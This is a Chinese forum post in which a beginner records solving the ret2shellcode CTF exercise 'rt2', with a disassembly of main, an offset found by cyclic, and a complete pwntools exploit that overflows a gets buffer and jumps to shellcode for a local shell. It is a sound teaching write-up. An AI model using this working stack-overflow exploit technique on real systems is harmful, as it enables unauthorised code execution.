本帖最后由 Panel 于 2023-6-8 23:39 编辑
ret2shellcode
学了快一天pwn了,感觉这个ret2shellcode挺好玩,记录一下,各位pwn爷带带我
1.checksec一下文件,没有NX保护(写和执行属性互斥)
2.查看是否有system调用objdump -d rt2 |grep system ,没有
3.查看汇编逻辑
pwndbg> disass main
Dump of assembler code for function main:
0x0804852d <+0>: push ebp
0x0804852e <+1>: mov ebp,esp
0x08048530 <+3>: and esp,0xfffffff0
0x08048533 <+6>: add esp,0xffffff80
0x08048536 <+9>: mov eax,ds:0x804a060
0x0804853b <+14>: mov DWORD PTR [esp+0xc],0x0
0x08048543 <+22>: mov DWORD PTR [esp+0x8],0x2
0x0804854b <+30>: mov DWORD PTR [esp+0x4],0x0
0x08048553 <+38>: mov DWORD PTR [esp],eax
0x08048556 <+41>: call 0x8048410 <setvbuf@plt>
0x0804855b <+46>: mov eax,ds:0x804a040
0x08048560 <+51>: mov DWORD PTR [esp+0xc],0x0
0x08048568 <+59>: mov DWORD PTR [esp+0x8],0x1
0x08048570 <+67>: mov DWORD PTR [esp+0x4],0x0
0x08048578 <+75>: mov DWORD PTR [esp],eax
0x0804857b <+78>: call 0x8048410 <setvbuf@plt>
0x08048580 <+83>: mov DWORD PTR [esp],0x8048660
0x08048587 <+90>: call 0x80483e0 <puts@plt> //打印出提示你没有system调用
0x0804858c <+95>: lea eax,[esp+0x1c]
0x08048590 <+99>: mov DWORD PTR [esp],eax //gets放入esp+0x1c
0x08048593 <+102>: call 0x80483d0 <gets@plt>
0x08048598 <+107>: mov DWORD PTR [esp+0x8],0x64
0x080485a0 <+115>: lea eax,[esp+0x1c] //将输入拷贝进0x804a080
0x080485a4 <+119>: mov DWORD PTR [esp+0x4],eax
0x080485a8 <+123>: mov DWORD PTR [esp],0x804a080
0x080485af <+130>: call 0x8048420 <strncpy@plt>
0x080485b4 <+135>: mov DWORD PTR [esp],0x8048680
0x080485bb <+142>: call 0x80483c0 <printf@plt>
0x080485c0 <+147>: mov eax,0x0
0x080485c5 <+152>: leave
0x080485c6 <+153>: ret
End of assembler dump.
0x804a080我们输入的要拷贝到这里来,那么我们就可以把系统调用sh的机器码拷贝进去,且把0x804a080作为返回地址(当然要0x804a080可执行),那是不是就拿到获得sh了。
看一下这个地址的属性vmmap,发现0x804a080可执行
下一步就是查看我们输入参与返回地址的偏移了,先用cyclic构造一个足够溢出的字符串,随后cyclic -l 无效地址 即可得到偏移,如下图
那再说一下思路就写exp
gets输入为我们系统调用获得sh的汇编,该汇编会被拷贝进0x804a080,返回地址偏移我们输入缓冲区112字节,前112字节填充我们的汇编以及垃圾字符,随后的四字节就是返回地址,填充为0x804a080,完事,exp如下:
from pwn import *
context(arch = "i386",os = "linux")
p = process("./rt2")
#返回地址偏移
ret_offset = 112
#调用获取shell汇编生成
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(112,b'a')+p32(0x804a080)
p.sendline(payload)
p.interactive()
|